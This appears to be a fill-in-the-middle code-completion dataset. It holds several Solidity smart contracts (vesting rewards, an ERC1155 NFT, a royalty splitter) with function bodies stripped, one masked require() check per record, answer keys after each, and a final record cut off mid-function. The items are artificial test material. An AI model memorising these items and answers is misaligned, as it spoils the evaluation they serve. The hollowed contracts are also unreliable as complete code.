* @dev Calculates the remaining time for vesting completion.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Remaining time in seconds
*/
function timeLeft(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the reward multiple based on vesting time.
* @param timeStaked Vesting time in seconds
* @return Calculated reward multiple
*/
function calculateFeedReward(
uint256 timeStaked
) public view returns (uint256) {
}
/**
* @dev Calculates the reward to be distributed based on investment and reward multiple.
* @param _investmentBlob Amount of BLOB tokens invested
* @param _rewardMultiple Reward multiple based on vesting time
* @return Total reward to be distributed
*/
function _calculateReward(
uint256 _investmentBlob,
uint256 _rewardMultiple
) internal returns (uint256) {
require(_rewardMultiple > 1e18, "Not enough rewards");
uint256 totalBlob = (
intoUint256(ud(_investmentBlob) * ud(_rewardMultiple))
);
uint256 rewardBlob = totalBlob - _investmentBlob;
address[] memory path = new address[](2);
path[0] = WETH;
path[1] = BLOB;
uint[] memory amounts = IUniswapV2Router02(routerAddress).getAmountsIn(
rewardBlob,
path
);
uint256 amount = amounts[0];
uint256 minAmount = _calculateAmountOutMin(WETH, amount, blobSlippage);
require(_hasEnoughBalance(WETH, amount), "Not enough rewards");
require(<FILL_ME>)
_swap(amount, tokenPath[WETH], minAmount);
return totalBlob;
}
/**
* @dev Performs a token swap on Uniswap.
* @param _amountIn Amount of tokens to be swapped
* @param path Token path for the swap
* @param _amountOutMin Minimum amount of tokens to receive from the swap
*/
function _swap(
uint256 _amountIn,
address[] memory path,
uint256 _amountOutMin
) internal {
}
/**
* @dev Calculates the minimum amount of tokens to receive from a swap, accounting for slippage.
* @param _tokenIn Token to be swapped
* @param _amountIn Amount of tokens to be swapped
* @param _slippage Maximum allowable slippage for the swap
* @return Minimum amount of tokens to receive
*/
function _calculateAmountOutMin(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage
) internal view returns (uint256) {
}
/**
* @dev Checks if the contract has enough balance of a specific token.
* @param _tokenAddress Address of the token to check
* @param _amount Amount of tokens needed
* @return Whether the contract has enough balance of the token or not
*/
function _hasEnoughBalance(
address _tokenAddress,
uint256 _amount
) internal view returns (bool) {
}
}
|
tokenPath[WETH].length>=2&&tokenPath[WETH][0]==WETH&&tokenPath[WETH][1]==BLOB,"Invalid WETH to BLOB Path"
| 208,630 |
tokenPath[WETH].length>=2&&tokenPath[WETH][0]==WETH&&tokenPath[WETH][1]==BLOB
|
"Not owner of the NFT"
|
// OpenZeppelin Contracts v4.3.2 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.1;
contract Angel is Context, ERC165, IERC1155, IERC1155MetadataURI, IAngel {
using Address for address;
using Strings for uint;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(uint256 => NFTs) public angelNfts;
mapping(address => bool) public isWhiteListed;
address public whitelistedAddress;
string private _name;
string private _symbol;
address private _owner;
address public withdrawAddress;
constructor(string memory name_, string memory symbol_, address whitelistedAddress_,address withdrawAddress_ ) {
}
function totalSupply() public view returns (uint256) {
}
function getAllangelNfts() public view returns(NFTs[] memory) {
}
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI = 'ipfs://';
// owner modifier
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function baseURI() public view virtual returns (string memory) {
}
function updateTokenURI(uint256 tokenId, string memory _uri) public override {
require(<FILL_ME>)
require(angelNfts[tokenId].minted, "tokenId is invalid");
_tokenURIs[tokenId] = _uri;
angelNfts[tokenId].ipfsUrl = _uri;
emit URI(tokenURI(tokenId), tokenId);
emit updatedNFT(tokenId);
}
function updateNftCost(uint256 tokenId, uint256 _newCost) public override {
}
function _setBaseURI(string memory baseURI_) public onlyOwner {
}
function setWhitelistedAddress(address _newWhitelisted) public onlyOwner {
}
function setWithdrawAddress(address _newWithdrawAddress) public override onlyOwner {
}
function setMaxSupply(uint256 tokenId, uint256 _maxSupply) public override onlyOwner {
}
function toggleMintStatus(uint256 tokenId) public override onlyOwner {
}
modifier mintModifier(uint256 tokenId, uint8 amount){
}
function buyNFT(uint256 tokenId, uint8 amount) public payable mintModifier(tokenId, amount){
}
function payNFT(uint256 tokenId, uint8 amount, address receiver) public mintModifier(tokenId, amount) {
}
function tokenURI(uint256 tokenId) internal view virtual returns (string memory) {
}
function _setTokenURI(uint256 tokenId, string memory _uri) internal virtual {
}
function name() external view returns (string memory) {
}
function symbol() external view returns (string memory) {
}
function withdraw() public{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function uri(uint256 id) external view override virtual returns (string memory) {
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyOwner {
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
}
function mintangelNFT(uint256 amount, string memory uri_, uint256 _maxMintAmount, uint256 nftCost) public {
}
function _mint(
address to,
uint256 id,
uint256 amount,
string memory uri_,
bytes memory data
) internal virtual {
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
}
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
}
function _setApprovalForAll(
address owner_,
address operator,
bool approved
) public virtual {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
}
function fromBoolToString(bool _data) public pure returns (string memory) {
}
function getContractValuesInObject(uint256 tokenId) public view returns (string memory) {
}
}
|
angelNfts[tokenId].minter==msg.sender||msg.sender==owner(),"Not owner of the NFT"
| 208,832 |
angelNfts[tokenId].minter==msg.sender||msg.sender==owner()
|
"tokenId is invalid"
|
// OpenZeppelin Contracts v4.3.2 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.1;
contract Angel is Context, ERC165, IERC1155, IERC1155MetadataURI, IAngel {
using Address for address;
using Strings for uint;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(uint256 => NFTs) public angelNfts;
mapping(address => bool) public isWhiteListed;
address public whitelistedAddress;
string private _name;
string private _symbol;
address private _owner;
address public withdrawAddress;
constructor(string memory name_, string memory symbol_, address whitelistedAddress_,address withdrawAddress_ ) {
}
function totalSupply() public view returns (uint256) {
}
function getAllangelNfts() public view returns(NFTs[] memory) {
}
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI = 'ipfs://';
// owner modifier
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function baseURI() public view virtual returns (string memory) {
}
function updateTokenURI(uint256 tokenId, string memory _uri) public override {
require(angelNfts[tokenId].minter == msg.sender || msg.sender == owner(), "Not owner of the NFT");
require(<FILL_ME>)
_tokenURIs[tokenId] = _uri;
angelNfts[tokenId].ipfsUrl = _uri;
emit URI(tokenURI(tokenId), tokenId);
emit updatedNFT(tokenId);
}
function updateNftCost(uint256 tokenId, uint256 _newCost) public override {
}
function _setBaseURI(string memory baseURI_) public onlyOwner {
}
function setWhitelistedAddress(address _newWhitelisted) public onlyOwner {
}
function setWithdrawAddress(address _newWithdrawAddress) public override onlyOwner {
}
function setMaxSupply(uint256 tokenId, uint256 _maxSupply) public override onlyOwner {
}
function toggleMintStatus(uint256 tokenId) public override onlyOwner {
}
modifier mintModifier(uint256 tokenId, uint8 amount){
}
function buyNFT(uint256 tokenId, uint8 amount) public payable mintModifier(tokenId, amount){
}
function payNFT(uint256 tokenId, uint8 amount, address receiver) public mintModifier(tokenId, amount) {
}
function tokenURI(uint256 tokenId) internal view virtual returns (string memory) {
}
function _setTokenURI(uint256 tokenId, string memory _uri) internal virtual {
}
function name() external view returns (string memory) {
}
function symbol() external view returns (string memory) {
}
function withdraw() public{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function uri(uint256 id) external view override virtual returns (string memory) {
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyOwner {
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
}
function mintangelNFT(uint256 amount, string memory uri_, uint256 _maxMintAmount, uint256 nftCost) public {
}
function _mint(
address to,
uint256 id,
uint256 amount,
string memory uri_,
bytes memory data
) internal virtual {
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
}
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
}
function _setApprovalForAll(
address owner_,
address operator,
bool approved
) public virtual {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
}
function fromBoolToString(bool _data) public pure returns (string memory) {
}
function getContractValuesInObject(uint256 tokenId) public view returns (string memory) {
}
}
|
angelNfts[tokenId].minted,"tokenId is invalid"
| 208,832 |
angelNfts[tokenId].minted
|
"not allowed to Mint"
|
// OpenZeppelin Contracts v4.3.2 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.1;
contract Angel is Context, ERC165, IERC1155, IERC1155MetadataURI, IAngel {
using Address for address;
using Strings for uint;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(uint256 => NFTs) public angelNfts;
mapping(address => bool) public isWhiteListed;
address public whitelistedAddress;
string private _name;
string private _symbol;
address private _owner;
address public withdrawAddress;
constructor(string memory name_, string memory symbol_, address whitelistedAddress_,address withdrawAddress_ ) {
}
function totalSupply() public view returns (uint256) {
}
function getAllangelNfts() public view returns(NFTs[] memory) {
}
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI = 'ipfs://';
// owner modifier
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function baseURI() public view virtual returns (string memory) {
}
function updateTokenURI(uint256 tokenId, string memory _uri) public override {
}
function updateNftCost(uint256 tokenId, uint256 _newCost) public override {
}
function _setBaseURI(string memory baseURI_) public onlyOwner {
}
function setWhitelistedAddress(address _newWhitelisted) public onlyOwner {
}
function setWithdrawAddress(address _newWithdrawAddress) public override onlyOwner {
}
function setMaxSupply(uint256 tokenId, uint256 _maxSupply) public override onlyOwner {
}
function toggleMintStatus(uint256 tokenId) public override onlyOwner {
}
modifier mintModifier(uint256 tokenId, uint8 amount){
require(<FILL_ME>)
require(amount + angelNfts[tokenId].mintedNfts <= angelNfts[tokenId].maxSupply, "Out of stock");
require(amount <= angelNfts[tokenId].maxMintAmount, "not allowed to Mint such amount");
_;
}
function buyNFT(uint256 tokenId, uint8 amount) public payable mintModifier(tokenId, amount){
}
function payNFT(uint256 tokenId, uint8 amount, address receiver) public mintModifier(tokenId, amount) {
}
function tokenURI(uint256 tokenId) internal view virtual returns (string memory) {
}
function _setTokenURI(uint256 tokenId, string memory _uri) internal virtual {
}
function name() external view returns (string memory) {
}
function symbol() external view returns (string memory) {
}
function withdraw() public{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function uri(uint256 id) external view override virtual returns (string memory) {
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyOwner {
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
}
function mintangelNFT(uint256 amount, string memory uri_, uint256 _maxMintAmount, uint256 nftCost) public {
}
function _mint(
address to,
uint256 id,
uint256 amount,
string memory uri_,
bytes memory data
) internal virtual {
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
}
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
}
function _setApprovalForAll(
address owner_,
address operator,
bool approved
) public virtual {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
}
function fromBoolToString(bool _data) public pure returns (string memory) {
}
function getContractValuesInObject(uint256 tokenId) public view returns (string memory) {
}
}
|
angelNfts[tokenId].saleLive,"not allowed to Mint"
| 208,832 |
angelNfts[tokenId].saleLive
|
"Out of stock"
|
// OpenZeppelin Contracts v4.3.2 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.1;
contract Angel is Context, ERC165, IERC1155, IERC1155MetadataURI, IAngel {
using Address for address;
using Strings for uint;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(uint256 => NFTs) public angelNfts;
mapping(address => bool) public isWhiteListed;
address public whitelistedAddress;
string private _name;
string private _symbol;
address private _owner;
address public withdrawAddress;
constructor(string memory name_, string memory symbol_, address whitelistedAddress_,address withdrawAddress_ ) {
}
function totalSupply() public view returns (uint256) {
}
function getAllangelNfts() public view returns(NFTs[] memory) {
}
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI = 'ipfs://';
// owner modifier
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function baseURI() public view virtual returns (string memory) {
}
function updateTokenURI(uint256 tokenId, string memory _uri) public override {
}
function updateNftCost(uint256 tokenId, uint256 _newCost) public override {
}
function _setBaseURI(string memory baseURI_) public onlyOwner {
}
function setWhitelistedAddress(address _newWhitelisted) public onlyOwner {
}
function setWithdrawAddress(address _newWithdrawAddress) public override onlyOwner {
}
function setMaxSupply(uint256 tokenId, uint256 _maxSupply) public override onlyOwner {
}
function toggleMintStatus(uint256 tokenId) public override onlyOwner {
}
modifier mintModifier(uint256 tokenId, uint8 amount){
require(angelNfts[tokenId].saleLive, "not allowed to Mint");
require(<FILL_ME>)
require(amount <= angelNfts[tokenId].maxMintAmount, "not allowed to Mint such amount");
_;
}
function buyNFT(uint256 tokenId, uint8 amount) public payable mintModifier(tokenId, amount){
}
function payNFT(uint256 tokenId, uint8 amount, address receiver) public mintModifier(tokenId, amount) {
}
function tokenURI(uint256 tokenId) internal view virtual returns (string memory) {
}
function _setTokenURI(uint256 tokenId, string memory _uri) internal virtual {
}
function name() external view returns (string memory) {
}
function symbol() external view returns (string memory) {
}
function withdraw() public{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function uri(uint256 id) external view override virtual returns (string memory) {
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyOwner {
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
}
function mintangelNFT(uint256 amount, string memory uri_, uint256 _maxMintAmount, uint256 nftCost) public {
}
function _mint(
address to,
uint256 id,
uint256 amount,
string memory uri_,
bytes memory data
) internal virtual {
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
}
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
}
function _setApprovalForAll(
address owner_,
address operator,
bool approved
) public virtual {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
}
function fromBoolToString(bool _data) public pure returns (string memory) {
}
function getContractValuesInObject(uint256 tokenId) public view returns (string memory) {
}
}
|
amount+angelNfts[tokenId].mintedNfts<=angelNfts[tokenId].maxSupply,"Out of stock"
| 208,832 |
amount+angelNfts[tokenId].mintedNfts<=angelNfts[tokenId].maxSupply
|
"ERC1155: caller is not owner nor approved"
|
// OpenZeppelin Contracts v4.3.2 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.1;
contract Angel is Context, ERC165, IERC1155, IERC1155MetadataURI, IAngel {
using Address for address;
using Strings for uint;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(uint256 => NFTs) public angelNfts;
mapping(address => bool) public isWhiteListed;
address public whitelistedAddress;
string private _name;
string private _symbol;
address private _owner;
address public withdrawAddress;
constructor(string memory name_, string memory symbol_, address whitelistedAddress_,address withdrawAddress_ ) {
}
function totalSupply() public view returns (uint256) {
}
function getAllangelNfts() public view returns(NFTs[] memory) {
}
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI = 'ipfs://';
// owner modifier
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function baseURI() public view virtual returns (string memory) {
}
function updateTokenURI(uint256 tokenId, string memory _uri) public override {
}
function updateNftCost(uint256 tokenId, uint256 _newCost) public override {
}
function _setBaseURI(string memory baseURI_) public onlyOwner {
}
function setWhitelistedAddress(address _newWhitelisted) public onlyOwner {
}
function setWithdrawAddress(address _newWithdrawAddress) public override onlyOwner {
}
function setMaxSupply(uint256 tokenId, uint256 _maxSupply) public override onlyOwner {
}
function toggleMintStatus(uint256 tokenId) public override onlyOwner {
}
modifier mintModifier(uint256 tokenId, uint8 amount){
}
function buyNFT(uint256 tokenId, uint8 amount) public payable mintModifier(tokenId, amount){
}
function payNFT(uint256 tokenId, uint8 amount, address receiver) public mintModifier(tokenId, amount) {
}
function tokenURI(uint256 tokenId) internal view virtual returns (string memory) {
}
function _setTokenURI(uint256 tokenId, string memory _uri) internal virtual {
}
function name() external view returns (string memory) {
}
function symbol() external view returns (string memory) {
}
function withdraw() public{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function uri(uint256 id) external view override virtual returns (string memory) {
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(<FILL_ME>)
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyOwner {
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
}
function mintangelNFT(uint256 amount, string memory uri_, uint256 _maxMintAmount, uint256 nftCost) public {
}
function _mint(
address to,
uint256 id,
uint256 amount,
string memory uri_,
bytes memory data
) internal virtual {
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
}
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
}
function _setApprovalForAll(
address owner_,
address operator,
bool approved
) public virtual {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
}
function fromBoolToString(bool _data) public pure returns (string memory) {
}
function getContractValuesInObject(uint256 tokenId) public view returns (string memory) {
}
}
|
(from==_msgSender()||isApprovedForAll(from,_msgSender())||isApprovedForAll(from,address(this))),"ERC1155: caller is not owner nor approved"
| 208,832 |
(from==_msgSender()||isApprovedForAll(from,_msgSender())||isApprovedForAll(from,address(this)))
|
"Core team member already exists"
|
//SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
//-- _____ ______ ________ ________ _________ ________ ________ _______
//--|\ _ \ _ \ |\ __ \ |\ ___ \ |\___ ___\|\ __ \ |\ ____\ |\ ___ \
//--\ \ \\\__\ \ \\ \ \|\ \\ \ \\ \ \\|___ \ \_|\ \ \|\ \\ \ \___| \ \ __/|
//-- \ \ \\|__| \ \\ \ \\\ \\ \ \\ \ \ \ \ \ \ \ __ \\ \ \ ___\ \ \_|/__
//-- \ \ \ \ \ \\ \ \\\ \\ \ \\ \ \ \ \ \ \ \ \ \ \\ \ \|\ \\ \ \_|\ \
//-- \ \__\ \ \__\\ \_______\\ \__\\ \__\ \ \__\ \ \__\ \__\\ \_______\\ \_______\
//-- \|__| \|__| \|_______| \|__| \|__| \|__| \|__|\|__| \|_______| \|_______|
//--
//-- NFT Shared Royalties
//-- Montage.io
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract Buffer is Initializable {
modifier onlyOwner() {
}
// Structs
struct MemberData {
bool exists;
uint256[] groupIds;
uint256[] nfts;
uint256 payEventCounter;
uint256 unclaimedSingleSales;
}
struct PaymentData {
uint256 coreGroupShare;
uint256 allArtistShare;
uint256 artistSingleSaleShare;
uint256 holderShare;
}
// State variables
uint256 public nftsMinted;
uint256 public coreTeamSharePerc;
uint256 public allArtistSharePerc;
uint256 public singleSaleArtistPerc;
uint256 public holdersSharePerc;
uint256 public adminSharePerc;
uint256 public unclaimedAdminShare;
uint256 public payEventCount;
address public owner;
address public secondaryRecieved;
uint256 private constant CORE_TEAM_GROUP_ID = 1;
uint256 private constant ARTISTS_GROUP_ID = 2;
uint256 private constant HOLDERS_GROUP_ID = 3;
// Additional state variables for mint sales
uint256 public m_coreTeamSharePerc;
uint256 public m_allArtistSharePerc;
uint256 public m_singleSaleArtistPerc;
uint256 public m_holdersSharePerc;
uint256 public m_adminSharePerc;
// Mappings
mapping(uint => address) public nftIdToArtist;
mapping(address => MemberData) public memberData;
mapping(uint => PaymentData) public payEventData;
mapping(address => uint) public secondarySalesAmount;
//============ Function to Initialize Contract ============
function initialize(
address _owner
) public payable initializer {
}
//------------- Add core team and share percentages --------------
function addCoreTeam(address[] memory coreTeamAddresses, uint256[] memory values) external onlyOwner {
require(coreTeamAddresses.length > 0, "Core team addresses required");
require(values.length == 10, "There must be 10 uint256 values for the percentages");
for (uint i = 0; i < coreTeamAddresses.length; i++) {
address addr = coreTeamAddresses[i];
require(<FILL_ME>)
memberData[addr] = MemberData({
exists: true,
groupIds: new uint256[](0),
nfts: new uint256[](0),
payEventCounter: 0,
unclaimedSingleSales: 0
});
// Push the CORE_TEAM_GROUP_ID to the groupIds array
memberData[addr].groupIds.push(CORE_TEAM_GROUP_ID);
}
coreTeamSharePerc = values[0];
allArtistSharePerc = values[1];
singleSaleArtistPerc = values[2];
holdersSharePerc = values[3];
adminSharePerc = values[4];
m_coreTeamSharePerc = values[5];
m_allArtistSharePerc = values[6];
m_singleSaleArtistPerc = values[7];
m_holdersSharePerc = values[8];
m_adminSharePerc = values[9];
}
//============ Function to add artists/nfts ============
function addArtistsAndNFTs(address[] memory artistAddresses, uint256[][] memory nftIds) external onlyOwner {
}
//============ Function to recieve mint sales payment ============
function receiveMintPayment(uint256 tokenId, address artistAddress, address buyerAddress) external payable {
}
function withdraw() external {
}
receive() external payable {
}
}
|
!memberData[addr].exists,"Core team member already exists"
| 208,977 |
!memberData[addr].exists
|
"Address not found in any group"
|
//SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
//-- _____ ______ ________ ________ _________ ________ ________ _______
//--|\ _ \ _ \ |\ __ \ |\ ___ \ |\___ ___\|\ __ \ |\ ____\ |\ ___ \
//--\ \ \\\__\ \ \\ \ \|\ \\ \ \\ \ \\|___ \ \_|\ \ \|\ \\ \ \___| \ \ __/|
//-- \ \ \\|__| \ \\ \ \\\ \\ \ \\ \ \ \ \ \ \ \ __ \\ \ \ ___\ \ \_|/__
//-- \ \ \ \ \ \\ \ \\\ \\ \ \\ \ \ \ \ \ \ \ \ \ \\ \ \|\ \\ \ \_|\ \
//-- \ \__\ \ \__\\ \_______\\ \__\\ \__\ \ \__\ \ \__\ \__\\ \_______\\ \_______\
//-- \|__| \|__| \|_______| \|__| \|__| \|__| \|__|\|__| \|_______| \|_______|
//--
//-- NFT Shared Royalties
//-- Montage.io
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract Buffer is Initializable {
modifier onlyOwner() {
}
// Structs
struct MemberData {
bool exists;
uint256[] groupIds;
uint256[] nfts;
uint256 payEventCounter;
uint256 unclaimedSingleSales;
}
struct PaymentData {
uint256 coreGroupShare;
uint256 allArtistShare;
uint256 artistSingleSaleShare;
uint256 holderShare;
}
// State variables
uint256 public nftsMinted;
uint256 public coreTeamSharePerc;
uint256 public allArtistSharePerc;
uint256 public singleSaleArtistPerc;
uint256 public holdersSharePerc;
uint256 public adminSharePerc;
uint256 public unclaimedAdminShare;
uint256 public payEventCount;
address public owner;
address public secondaryRecieved;
uint256 private constant CORE_TEAM_GROUP_ID = 1;
uint256 private constant ARTISTS_GROUP_ID = 2;
uint256 private constant HOLDERS_GROUP_ID = 3;
// Additional state variables for mint sales
uint256 public m_coreTeamSharePerc;
uint256 public m_allArtistSharePerc;
uint256 public m_singleSaleArtistPerc;
uint256 public m_holdersSharePerc;
uint256 public m_adminSharePerc;
// Mappings
mapping(uint => address) public nftIdToArtist;
mapping(address => MemberData) public memberData;
mapping(uint => PaymentData) public payEventData;
mapping(address => uint) public secondarySalesAmount;
//============ Function to Initialize Contract ============
function initialize(
address _owner
) public payable initializer {
}
//------------- Add core team and share percentages --------------
function addCoreTeam(address[] memory coreTeamAddresses, uint256[] memory values) external onlyOwner {
}
//============ Function to add artists/nfts ============
function addArtistsAndNFTs(address[] memory artistAddresses, uint256[][] memory nftIds) external onlyOwner {
}
//============ Function to recieve mint sales payment ============
function receiveMintPayment(uint256 tokenId, address artistAddress, address buyerAddress) external payable {
}
function withdraw() external {
require(<FILL_ME>)
uint256 totalPayment;
uint256 currentPayEventCounter = memberData[msg.sender].payEventCounter;
for (uint256 groupIdIndex = 0; groupIdIndex < memberData[msg.sender].groupIds.length; groupIdIndex++) {
uint256 groupId = memberData[msg.sender].groupIds[groupIdIndex];
